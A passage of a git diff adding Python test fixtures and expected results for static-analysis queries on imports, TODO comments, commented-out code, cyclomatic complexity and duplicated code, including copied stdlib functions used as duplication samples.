b/python/ql/test/query-tests/Imports/cyclic-module/module6.py new file mode 100644 index 00000000000..5a5fcd149ac --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module6.py @@ -0,0 +1,2 @@ +def foo(): + import module7 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module7.py b/python/ql/test/query-tests/Imports/cyclic-module/module7.py new file mode 100644 index 00000000000..d0b18ba5894 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module7.py @@ -0,0 +1 @@ +from module1 import a1 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module8.py b/python/ql/test/query-tests/Imports/cyclic-module/module8.py new file mode 100644 index 00000000000..185ee214da8 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module8.py @@ -0,0 +1,4 @@ +import module1 + +class Foo(object): + a = module1.a1 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module9.py b/python/ql/test/query-tests/Imports/cyclic-module/module9.py new file mode 100644 index 00000000000..06ab5b93305 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module9.py @@ -0,0 +1,6 @@ + +x = 1 + +import main + +y = 2 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.expected b/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.expected new file mode 100644 index 00000000000..11905b13d9c --- /dev/null +++ b/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.expected @@ -0,0 +1,2 @@ +| test.py:5:1:5:13 | Import | The rfc822 module was deprecated in version 2.3. Use email module instead. | +| test.py:6:1:6:16 | Import | The posixfile module was deprecated in version 1.5. Use email module instead. | diff --git a/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.qlref b/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.qlref new file mode 100644 index 00000000000..3444aa9d6f6 --- /dev/null +++ b/python/ql/test/query-tests/Imports/deprecated/DeprecatedModule.qlref @@ -0,0 +1 @@ +Imports/DeprecatedModule.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/deprecated/test.py b/python/ql/test/query-tests/Imports/deprecated/test.py new file mode 100644 index 00000000000..ece57bb1855 --- /dev/null +++ b/python/ql/test/query-tests/Imports/deprecated/test.py @@ -0,0 +1,6 @@ + + + +#Some deprecated modules +import rfc822 +import posixfile diff --git a/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.expected b/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.expected new file mode 100644 index 00000000000..aa785201f24 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.expected @@ -0,0 +1 @@ +| imports_mutable.py:1:26:1:26 | ImportMember | Importing the value of 'x' from $@ means that any change made to $@ will be not be observed locally. | mutable_attr.py:0:0:0:0 | Module mutable_attr | module mutable_attr | mutates.py:4:5:4:18 | ControlFlowNode for Attribute | mutable_attr.x | diff --git a/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.qlref b/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.qlref new file mode 100644 index 00000000000..9353115309f --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/FromImportOfMutableAttribute.qlref @@ -0,0 +1 @@ +Imports/FromImportOfMutableAttribute.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.expected b/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.expected new file mode 100644 index 00000000000..562cc12c51e --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.expected @@ -0,0 +1 @@ +| imports_test.py:16:5:16:10 | module | Loop variable 'module' shadows an import | diff --git a/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.qlref b/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.qlref new file mode 100644 index 00000000000..3844f21922f --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/ImportShadowedByLoopVar.qlref @@ -0,0 +1 @@ +Imports/ImportShadowedByLoopVar.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/general/ImportStarUsed.expected b/python/ql/test/query-tests/Imports/general/ImportStarUsed.expected new file mode 100644 index 00000000000..9aa101edbca --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/ImportStarUsed.expected @@ -0,0 +1,2 @@ +| imports_test.py:21:1:21:20 | from module import * | Using 'from ... import *' pollutes the namespace | +| imports_test.py:22:1:22:32 | from module_without_all import * | Using 'from ... import *' pollutes the namespace | diff --git a/python/ql/test/query-tests/Imports/general/ImportStarUsed.qlref b/python/ql/test/query-tests/Imports/general/ImportStarUsed.qlref new file mode 100644 index 00000000000..35f8bff3e5f --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/ImportStarUsed.qlref @@ -0,0 +1 @@ +Imports/ImportStarUsed.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/general/Imports.expected b/python/ql/test/query-tests/Imports/general/Imports.expected new file mode 100644 index 00000000000..59f5437fea3 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/Imports.expected @@ -0,0 +1 @@ +| imports_test.py:2:1:2:23 | Import | Multiple imports on one line. | diff --git a/python/ql/test/query-tests/Imports/general/Imports.qlref b/python/ql/test/query-tests/Imports/general/Imports.qlref new file mode 100644 index 00000000000..6bcdb2d9b5f --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/Imports.qlref @@ -0,0 +1 @@ +Imports/Imports.ql diff --git a/python/ql/test/query-tests/Imports/general/MultipleImport.expected b/python/ql/test/query-tests/Imports/general/MultipleImport.expected new file mode 100644 index 00000000000..6e3938a67f5 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/MultipleImport.expected @@ -0,0 +1,2 @@ +| imports_test.py:33:1:33:14 | Import | This import of module module1 is redundant, as it was previously imported $@. | imports_test.py:2:1:2:23 | Import | on line 2 | +| imports_test.py:34:1:34:14 | Import | This import of module module2 is redundant, as it was previously imported $@. | imports_test.py:2:1:2:23 | Import | on line 2 | diff --git a/python/ql/test/query-tests/Imports/general/MultipleImport.qlref b/python/ql/test/query-tests/Imports/general/MultipleImport.qlref new file mode 100644 index 00000000000..a4d2195b688 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/MultipleImport.qlref @@ -0,0 +1 @@ +Imports/MultipleImports.ql diff --git a/python/ql/test/query-tests/Imports/general/UnintentionalImport.expected b/python/ql/test/query-tests/Imports/general/UnintentionalImport.expected new file mode 100644 index 00000000000..89e48e2f071 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/UnintentionalImport.expected @@ -0,0 +1 @@ +| imports_test.py:22:1:22:32 | from module_without_all import * | Import pollutes the enclosing namespace, as the imported module $@ does not define '__all__'. | module_without_all.py:0:0:0:0 | Module module_without_all | module_without_all | diff --git a/python/ql/test/query-tests/Imports/general/UnintentionalImport.qlref b/python/ql/test/query-tests/Imports/general/UnintentionalImport.qlref new file mode 100644 index 00000000000..4f1b985d5c2 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/UnintentionalImport.qlref @@ -0,0 +1 @@ +Imports/UnintentionalImport.ql diff --git a/python/ql/test/query-tests/Imports/general/imports_mutable.py b/python/ql/test/query-tests/Imports/general/imports_mutable.py new file mode 100644 index 00000000000..0519a2071d8 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/imports_mutable.py @@ -0,0 +1,5 @@ +from mutable_attr import x, y + +def f(): + print(x) + print(y) diff --git a/python/ql/test/query-tests/Imports/general/imports_test.py b/python/ql/test/query-tests/Imports/general/imports_test.py new file mode 100644 index 00000000000..5e5184b78c7 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/imports_test.py @@ -0,0 +1,63 @@ +#Multiple imports on a single line +import module1, module2 + +#Cyclic import + +import cycle + +#Top level cyclic import + +import top_level_cycle + +#Import shadowed by loop variable + +import module + +for module in range(10): + print(module) + +#Import * used + +from module import * +from module_without_all import * + +#Unused import + +from module2 import func1 +from module2 import func2 + +module1.func +func1 + +#Duplicate import +import module1 +import module2 + +#OK -- Import used in epytext documentation. +import used_in_docs + +# L{used_in_docs} + +#OK -- Used in class. +import used_in_class + +class C(object): + + used_in_class = used_in_class + +#OK unused imports -- ODASA-3978 +from module2 import func3 as _ +from module2 import func3 as unused_but_ok +from module2 import func3 as _________ + +class Foo(object): + from bar import baz + def __init__(self): + self.foo = self.baz() + +#OK duplicate import -- Different name +import module1 as different + +#Use it +different + diff --git a/python/ql/test/query-tests/Imports/general/module.py b/python/ql/test/query-tests/Imports/general/module.py new file mode 100644 index 00000000000..7004607618a --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/module.py @@ -0,0 +1,4 @@ +#Ignore from __future__ imports when considering unused imports +from __future__ import division, print_function + +__all__ = [] diff --git a/python/ql/test/query-tests/Imports/general/module1.py b/python/ql/test/query-tests/Imports/general/module1.py new file mode 100644 index 00000000000..b9bfa6f1233 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/module1.py @@ -0,0 +1,2 @@ +def func(): + pass diff --git a/python/ql/test/query-tests/Imports/general/module2.py b/python/ql/test/query-tests/Imports/general/module2.py new file mode 100644 index 00000000000..4b0947ab6b7 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/module2.py @@ -0,0 +1,8 @@ +def func1(): + pass + +def func2(): + pass + +def func3(): + pass \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/general/module_without_all.py b/python/ql/test/query-tests/Imports/general/module_without_all.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Imports/general/mutable_attr.py b/python/ql/test/query-tests/Imports/general/mutable_attr.py new file mode 100644 index 00000000000..2c1854573a4 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/mutable_attr.py @@ -0,0 +1,2 @@ +x = 1 +y = 2 diff --git a/python/ql/test/query-tests/Imports/general/mutates.py b/python/ql/test/query-tests/Imports/general/mutates.py new file mode 100644 index 00000000000..5a99a43b7ad --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/mutates.py @@ -0,0 +1,4 @@ +import mutable_attr + +def f(): + mutable_attr.x = 2 diff --git a/python/ql/test/query-tests/Imports/general/mutates_in_test.py b/python/ql/test/query-tests/Imports/general/mutates_in_test.py new file mode 100644 index 00000000000..60e6ef553c2 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/mutates_in_test.py @@ -0,0 +1,7 @@ +import mutable_attr +import unittest + +class T(unittest.TestCase): + + def test_foo(self): + mutable_attr.y = 3 diff --git a/python/ql/test/query-tests/Imports/general/options b/python/ql/test/query-tests/Imports/general/options new file mode 100644 index 00000000000..b91afde0767 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=2 diff --git a/python/ql/test/query-tests/Imports/general/unittest/__init__.py b/python/ql/test/query-tests/Imports/general/unittest/__init__.py new file mode 100644 index 00000000000..083edc397d0 --- /dev/null +++ b/python/ql/test/query-tests/Imports/general/unittest/__init__.py @@ -0,0 +1,4 @@ +#Fake unittest module + +class TestCase(object): + pass diff --git a/python/ql/test/query-tests/Imports/unused/UnusedImport.expected b/python/ql/test/query-tests/Imports/unused/UnusedImport.expected new file mode 100644 index 00000000000..163bcab7b3d --- /dev/null +++ b/python/ql/test/query-tests/Imports/unused/UnusedImport.expected @@ -0,0 +1,5 @@ +| imports_test.py:2:1:2:23 | Import | Import of 'module2' is not used. | +| imports_test.py:6:1:6:12 | Import | Import of 'cycle' is not used. | +| imports_test.py:10:1:10:22 | Import | Import of 'top_level_cycle' is not used. | +| imports_test.py:27:1:27:25 | Import | Import of 'func2' is not used. | +| imports_test.py:34:1:34:14 | Import | Import of 'module2' is not used. | diff --git a/python/ql/test/query-tests/Imports/unused/UnusedImport.qlref b/python/ql/test/query-tests/Imports/unused/UnusedImport.qlref new file mode 100644 index 00000000000..e6bb7ab44cb --- /dev/null +++ b/python/ql/test/query-tests/Imports/unused/UnusedImport.qlref @@ -0,0 +1 @@ +Imports/UnusedImport.ql diff --git a/python/ql/test/query-tests/Imports/unused/imports_test.py b/python/ql/test/query-tests/Imports/unused/imports_test.py new file mode 100644 index 00000000000..5e5184b78c7 --- /dev/null +++ b/python/ql/test/query-tests/Imports/unused/imports_test.py @@ -0,0 +1,63 @@ +#Multiple imports on a single line +import module1, module2 + +#Cyclic import + +import cycle + +#Top level cyclic import + +import top_level_cycle + +#Import shadowed by loop variable + +import module + +for module in range(10): + print(module) + +#Import * used + +from module import * +from module_without_all import * + +#Unused import + +from module2 import func1 +from module2 import func2 + +module1.func +func1 + +#Duplicate import +import module1 +import module2 + +#OK -- Import used in epytext documentation. +import used_in_docs + +# L{used_in_docs} + +#OK -- Used in class. +import used_in_class + +class C(object): + + used_in_class = used_in_class + +#OK unused imports -- ODASA-3978 +from module2 import func3 as _ +from module2 import func3 as unused_but_ok +from module2 import func3 as _________ + +class Foo(object): + from bar import baz + def __init__(self): + self.foo = self.baz() + +#OK duplicate import -- Different name +import module1 as different + +#Use it +different + diff --git a/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.expected b/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.expected new file mode 100644 index 00000000000..c6cc8fc1ae2 --- /dev/null +++ b/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.expected @@ -0,0 +1 @@ +| todo.py:1:1:1:65 | Comment # TO DO -- (Nothing "to do" -- this is a test for TO DO comments) | # TO DO -- (Nothing "to do" -- this is a test for TO DO comments) | diff --git a/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.qlref b/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.qlref new file mode 100644 index 00000000000..4568a99f388 --- /dev/null +++ b/python/ql/test/query-tests/Lexical/ToDoComment/ToDoComment.qlref @@ -0,0 +1 @@ +Lexical/ToDoComment.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Lexical/ToDoComment/lexical_test.py b/python/ql/test/query-tests/Lexical/ToDoComment/lexical_test.py new file mode 100644 index 00000000000..a9917fd6aaa --- /dev/null +++ b/python/ql/test/query-tests/Lexical/ToDoComment/lexical_test.py @@ -0,0 +1,6 @@ + +#1 line that is the maximum length +print(" ") +# 2 lines that are too long +len(" ") +print(" ") diff --git a/python/ql/test/query-tests/Lexical/ToDoComment/todo.py b/python/ql/test/query-tests/Lexical/ToDoComment/todo.py new file mode 100644 index 00000000000..5e02882924b --- /dev/null +++ b/python/ql/test/query-tests/Lexical/ToDoComment/todo.py @@ -0,0 +1 @@ +# TO DO -- (Nothing "to do" -- this is a test for TO DO comments) diff --git a/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.expected b/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.expected new file mode 100644 index 00000000000..ac6b27d1a22 --- /dev/null +++ b/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.expected @@ -0,0 +1,3 @@ +| test.py:15:5:16:28 | Commented out code | These comments appear to contain commented-out code. | +| test.py:21:1:72:9 | Commented out code | These comments appear to contain commented-out code. | +| test.py:78:1:85:9 | Commented out code | These comments appear to contain commented-out code. | diff --git a/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.qlref b/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.qlref new file mode 100644 index 00000000000..6fe55e0fa94 --- /dev/null +++ b/python/ql/test/query-tests/Lexical/commented_out_code/CommentedOutCode.qlref @@ -0,0 +1 @@ +Lexical/CommentedOutCode.ql diff --git a/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.expected b/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.expected new file mode 100644 index 00000000000..4aeac6a5d6b --- /dev/null +++ b/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.expected @@ -0,0 +1 @@ +| test.py:0:0:0:0 | test.py | 42 | diff --git a/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.qlref b/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.qlref new file mode 100644 index 00000000000..2776efbcfd3 --- /dev/null +++ b/python/ql/test/query-tests/Lexical/commented_out_code/FCommentedOutCode.qlref @@ -0,0 +1 @@ +Lexical/FCommentedOutCode.ql diff --git a/python/ql/test/query-tests/Lexical/commented_out_code/test.py b/python/ql/test/query-tests/Lexical/commented_out_code/test.py new file mode 100644 index 00000000000..067855b6744 --- /dev/null +++ b/python/ql/test/query-tests/Lexical/commented_out_code/test.py @@ -0,0 +1,100 @@ + +def e(): + #A real comment + some_code() + x = y + some_more_code() + "Ignore single commented out lines as it is too difficult to tell whether they are code" + #class C(object): + a_bit_more_code() + return 1 + +def f(x): + if x: + do_something() + #else: + # do_something_else() + +# Some non-code comments. +# Space immediately after scope start and between functions. +# +#class CommentedOut: +# +# def __init__(self): + +# pass +# +# def method(self): +# +# pass +# +#def g(y): +# assert y +# with y: +# # Commented out comment +# if y: +# do_something() +# else: +# do_something_else() +# +#def h(z): +# '''Doc string +# ''' +# # Commented out comment +# +# followed_by_space() + +# +# more_code() + +#def j(): +# """ Doc string """ +# pass + +#def k(): +# +# """ Doc string """ +# pass + +#def l(): +# +# """ +# Doc string +# """ +# +# pass + +# +# +# +# +#def m(): +# pass +# +# +# +some_code_to_break_up_comments() + +#with x: +# pass +#try: +# call() +#except Exception: +# pass +#except: +# pass + +def a_function_to_break_up_comments(): + pass + +# An example explaining +# something which contains +# the following code: +# +# def f(): +# call() +# x.y = z +# return x +# + + \ No newline at end of file diff --git a/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.expected b/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.expected new file mode 100644 index 00000000000..fd69f810c21 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.expected @@ -0,0 +1,6 @@ +| code.py:23:1:23:17 | Function nested | 4 | +| code.py:12:1:12:21 | Function two_branch | 3 | +| code.py:6:1:6:18 | Function one_branch | 2 | +| code.py:35:1:35:21 | Function exceptions | 2 | +| code.py:1:1:1:16 | Function f_linear | 1 | +| code.py:45:1:45:39 | Function must_be_positive | 1 | diff --git a/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.qlref b/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.qlref new file mode 100644 index 00000000000..c74ae215bb4 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/cyclo/CyclomaticComplexity.qlref @@ -0,0 +1 @@ +Metrics/CyclomaticComplexity.ql diff --git a/python/ql/test/query-tests/Metrics/cyclo/code.py b/python/ql/test/query-tests/Metrics/cyclo/code.py new file mode 100644 index 00000000000..8ca6507b3be --- /dev/null +++ b/python/ql/test/query-tests/Metrics/cyclo/code.py @@ -0,0 +1,49 @@ +def f_linear(x): + y = x + z = y + return z + +def one_branch(x): + if x: + return 1 + else: + return 2 + +def two_branch(x, y): + if x: + y += 1 + else: + y += 2 + if y: + return 1 + else: + return 2 + + +def nested(x, y): + if x: + if y: + return 0 + else: + return 1 + else: + if y: + return 2 + else: + return 3 + +def exceptions(x, y): + try: + x.attr + x + y + x[y] + read() + except IOError: + pass + +#ODASA-5114 +def must_be_positive(self, obj, value): + try: + return int(value) + except: + self.error(obj, value) diff --git a/python/ql/test/query-tests/Metrics/duplicate/FLinesOfDuplicatedCode.expected b/python/ql/test/query-tests/Metrics/duplicate/FLinesOfDuplicatedCode.expected new file mode 100644 index 00000000000..51e43af9a60 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/duplicate/FLinesOfDuplicatedCode.expected @@ -0,0 +1,4 @@ +| duplicate_test.py:0:0:0:0 | duplicate_test.py | 228 | +| similar.py:0:0:0:0 | similar.py | 59 | +| with_import1.py:0:0:0:0 | with_import1.py | 30 | +| with_import2.py:0:0:0:0 | with_import2.py | 30 | diff --git a/python/ql/test/query-tests/Metrics/duplicate/FLinesOfDuplicatedCode.qlref b/python/ql/test/query-tests/Metrics/duplicate/FLinesOfDuplicatedCode.qlref new file mode 100644 index 00000000000..74833a9789d --- /dev/null +++ b/python/ql/test/query-tests/Metrics/duplicate/FLinesOfDuplicatedCode.qlref @@ -0,0 +1 @@ +Metrics/FLinesOfDuplicatedCode.ql diff --git a/python/ql/test/query-tests/Metrics/duplicate/FLinesOfSimilarCode.expected b/python/ql/test/query-tests/Metrics/duplicate/FLinesOfSimilarCode.expected new file mode 100644 index 00000000000..a69317fed4e --- /dev/null +++ b/python/ql/test/query-tests/Metrics/duplicate/FLinesOfSimilarCode.expected @@ -0,0 +1,4 @@ +| duplicate_test.py:0:0:0:0 | duplicate_test.py | 310 | +| similar.py:0:0:0:0 | similar.py | 61 | +| with_import1.py:0:0:0:0 | with_import1.py | 30 | +| with_import2.py:0:0:0:0 | with_import2.py | 30 | diff --git a/python/ql/test/query-tests/Metrics/duplicate/FLinesOfSimilarCode.qlref b/python/ql/test/query-tests/Metrics/duplicate/FLinesOfSimilarCode.qlref new file mode 100644 index 00000000000..a2c60374e1d --- /dev/null +++ b/python/ql/test/query-tests/Metrics/duplicate/FLinesOfSimilarCode.qlref @@ -0,0 +1 @@ +Metrics/FLinesOfSimilarCode.ql diff --git a/python/ql/test/query-tests/Metrics/duplicate/duplicate_test.py b/python/ql/test/query-tests/Metrics/duplicate/duplicate_test.py new file mode 100644 index 00000000000..1faf919ca96 --- /dev/null +++ b/python/ql/test/query-tests/Metrics/duplicate/duplicate_test.py @@ -0,0 +1,321 @@ +#Code Duplication + + +#Exact duplication of function + +#Code copied from stdlib, copyright PSF. +#See http://www.python.org/download/releases/2.7/license/ + +def dis(x=None): + """Disassemble classes, methods, functions, or code. + + With no argument, disassemble the last traceback. + + """ + if x is None: + distb() + return + if isinstance(x, types.InstanceType): + x = x.__class__ + if hasattr(x, 'im_func'): + x = x.im_func + if hasattr(x, 'func_code'): + x = x.func_code + if hasattr(x, '__dict__'): + items = x.__dict__.items() + items.sort() + for name, x1 in items: + if isinstance(x1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(x1) + except TypeError as msg: + print("Sorry:", msg) + print() + elif hasattr(x, 'co_code'): + disassemble(x) + elif isinstance(x, str): + disassemble_string(x) + else: + raise TypeError, \ + "don't know how to disassemble %s objects" % \ + type(x).__name__ + + +#And duplicate version + +def dis2(x=None): + """Disassemble classes, methods, functions, or code. + + With no argument, disassemble the last traceback. + + """ + if x is None: + distb() + return + if isinstance(x, types.InstanceType): + x = x.__class__ + if hasattr(x, 'im_func'): + x = x.im_func + if hasattr(x, 'func_code'): + x = x.func_code + if hasattr(x, '__dict__'): + items = x.__dict__.items() + items.sort() + for name, x1 in items: + if isinstance(x1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(x1) + except TypeError as msg: + print("Sorry:", msg) + print() + elif hasattr(x, 'co_code'): + disassemble(x) + elif isinstance(x, str): + disassemble_string(x) + else: + raise TypeError, \ + "don't know how to disassemble %s objects" % \ + type(x).__name__ + +#Exactly duplicate class + +class Popen3: + """Class representing a child process. Normally, instances are created + internally by the functions popen2() and popen3().""" + + sts = -1 # Child not completed yet + + def __init__(self, cmd, capturestderr=False, bufsize=-1): + """The parameter 'cmd' is the shell command to execute in a + sub-process. On UNIX, 'cmd' may be a sequence, in which case arguments + will be passed directly to the program without shell intervention (as + with os.spawnv()). If 'cmd' is a string it will be passed to the shell + (as with os.system()). The 'capturestderr' flag, if true, specifies + that the object should capture standard error output of the child + process. The default is false. If the 'bufsize' parameter is + specified, it specifies the size of the I/O buffers to/from the child + process.""" + _cleanup() + self.cmd = cmd + p2cread, p2cwrite = os.pipe() + c2pread, c2pwrite = os.pipe() + if capturestderr: + errout, errin = os.pipe() + self.pid = os.fork() + if self.pid == 0: + # Child + os.dup2(p2cread, 0) + os.dup2(c2pwrite, 1) + if capturestderr: + os.dup2(errin, 2) + self._run_child(cmd) + os.close(p2cread) + self.tochild = os.fdopen(p2cwrite, 'w', bufsize) + os.close(c2pwrite) + self.fromchild = os.fdopen(c2pread, 'r', bufsize) + if capturestderr: + os.close(errin) + self.childerr = os.fdopen(errout, 'r', bufsize) + else: + self.childerr = None + + def __del__(self): + # In case the child hasn't been waited on, check if it's done. + self.poll(_deadstate=sys.maxint) + if self.sts < 0: + if _active is not None: + # Child is still running, keep us alive until we can wait on it. + _active.append(self) + + def _run_child(self, cmd): + if isinstance(cmd, basestring): + cmd = ['/bin/sh', '-c', cmd] + os.closerange(3, MAXFD) + try: + os.execvp(cmd[0], cmd) + finally: + os._exit(1) + + def poll(self, _deadstate=None): + """Return the exit status of the child process if it has finished, + or -1 if it hasn't finished yet.""" + if self.sts < 0: + try: + pid, sts = os.waitpid(self.pid, os.WNOHANG) + # pid will be 0 if self.pid hasn't terminated + if pid == self.pid: + self.sts = sts + except os.error: + if _deadstate is not None: + self.sts = _deadstate + return self.sts + + def wait(self): + """Wait for and return the exit status of the child process.""" + if self.sts < 0: + pid, sts = os.waitpid(self.pid, 0) + # This used to be a test, but it is believed to be + # always true, so I changed it to an assertion - mvl + assert pid == self.pid + self.sts = sts + return self.sts + + +class Popen3Again: + """Class representing a child process. Normally, instances are created + internally by the functions popen2() and popen3().""" + + sts = -1 # Child not completed yet + + def __init__(self, cmd, capturestderr=False, bufsize=-1): + """The parameter 'cmd' is the shell command to execute in a + sub-process. On UNIX, 'cmd' may be a sequence, in which case arguments + will be passed directly to the program without shell intervention (as + with os.spawnv()). If 'cmd' is a string it will be passed to the shell + (as with os.system()). The 'capturestderr' flag, if true, specifies + that the object should capture standard error output of the child + process. The default is false. If the 'bufsize' parameter is + specified, it specifies the size of the I/O buffers to/from the child + process.""" + _cleanup() + self.cmd = cmd + p2cread, p2cwrite = os.pipe() + c2pread, c2pwrite = os.pipe() + if capturestderr: + errout, errin = os.pipe() + self.pid = os.fork() + if self.pid == 0: + # Child + os.dup2(p2cread, 0) + os.dup2(c2pwrite, 1) + if capturestderr: + os.dup2(errin, 2) + self._run_child(cmd) + os.close(p2cread) + self.tochild = os.fdopen(p2cwrite, 'w', bufsize) + os.close(c2pwrite) + self.fromchild = os.fdopen(c2pread, 'r', bufsize) + if capturestderr: + os.close(errin) + self.childerr = os.fdopen(errout, 'r', bufsize) + else: + self.childerr = None + + def __del__(self): + # In case the child hasn't been waited on, check if it's done. + self.poll(_deadstate=sys.maxint) + if self.sts < 0: + if _active is not None: + # Child is still running, keep us alive until we can wait on it. + _active.append(self) + + def _run_child(self, cmd): + if isinstance(cmd, basestring): + cmd = ['/bin/sh', '-c', cmd] + os.closerange(3, MAXFD) + try: + os.execvp(cmd[0], cmd) + finally: + os._exit(1) + + def poll(self, _deadstate=None): + """Return the exit status of the child process if it has finished, + or -1 if it hasn't finished yet.""" + if self.sts < 0: + try: + pid, sts = os.waitpid(self.pid, os.WNOHANG) + # pid will be 0 if self.pid hasn't terminated + if pid == self.pid: + self.sts = sts + except os.error: + if _deadstate is not None: + self.sts = _deadstate + return self.sts + + def wait(self): + """Wait for and return the exit status of the child process.""" + if self.sts < 0: + pid, sts = os.waitpid(self.pid, 0) + # This used to be a test, but it is believed to be + # always true, so I changed it to an assertion - mvl + assert pid == self.pid + self.sts = sts + return self.sts + +#Duplicate function with identifiers changed + +def dis3(y=None): + """frobnicate classes, methods, functions, or code. + + With no argument, frobnicate the last traceback. + + """ + if y is None: + distb() + return + if isinstance(y, types.InstanceType): + y = y.__class__ + if hasattr(y, 'im_func'): + y = y.im_func + if hasattr(y, 'func_code'): + y = y.func_code + if hasattr(y, '__dict__'): + items = y.__dict__.items() + items.sort() + for name, y1 in items: + if isinstance(y1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(y1) + except TypeError as msg: + print("Sorry:", msg) + print() + elif hasattr(y, 'co_code'): + frobnicate(y) + elif isinstance(y, str): + frobnicate_string(y) + else: + raise TypeError, \ + "don't know how to frobnicate %s objects" % \ + type(y).__name__ + + +#Mostly similar function with changed identifiers + +def dis5(z=None): + """splat classes, methods, functions, or code. + + With no argument, splat the last traceback. + + """ + if z is None: + distb() + return + if isinstance(z, types.InstanceType): + z = z.__class__ + if hasattr(y, 'func_code'): + y = y.func_code + if hasattr(z, '__dict__'): + items = z.__dict__.items() + items.sort() + for name, z1 in items: + if isinstance(z1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(z1) + except TypeError as msg: + print("Sorry:", msg) + print() + elif hasattr(z, 'co_code'): + splat(z) + elif isinstance(z, str): + splat_string(z) + else: + raise TypeError, \ + "don't know how to splat %s objects" % \ + type(z).__name__ + + + diff --git a/python/ql/test/query-tests/Metrics/duplicate/similar.py b/python/ql/test/query-tests/Metrics/duplicate/similar.py new file mode 100644 index 00000000000..8f36c5e65ed --- /dev/null +++ b/python/ql/test/query-tests/Metrics/duplicate/similar.py @@ -0,0 +1,63 @@ + + +def original(the_ast): + def walk(node, in_function, in_name_main): + def flags(): + return in_function * 2 + in_name_main + if isinstance(node, ast.Module): + for import_node in walk(node.body, in_function, in_name_main): + yield import_node + elif isinstance(node, ast.ImportFrom): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield FromImport(node.level, node.module, aliases, flags()) + elif isinstance(node, ast.Import): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield Import(aliases, flags()) + elif isinstance(node, ast.FunctionDef): + for _, child in ast.iter_fields(node): + for import_node in walk(child, True, in_name_main): + yield import_node + elif isinstance(node, list): + for n in node: + for import_node in walk(n, in_function, in_name_main): + yield import_node + return list(walk(the_ast, False, False)) + +def similar_1(the_ast): + def walk(node, in_function, in_name_main): + def flags(): + return in_function * 2 + in_name_main + if isinstance(node, ast.Module): + for import_node in walk(node.body, in_function, in_name_main): + yield import_node + elif isinstance(node, ast.ImportFrom): + aliases 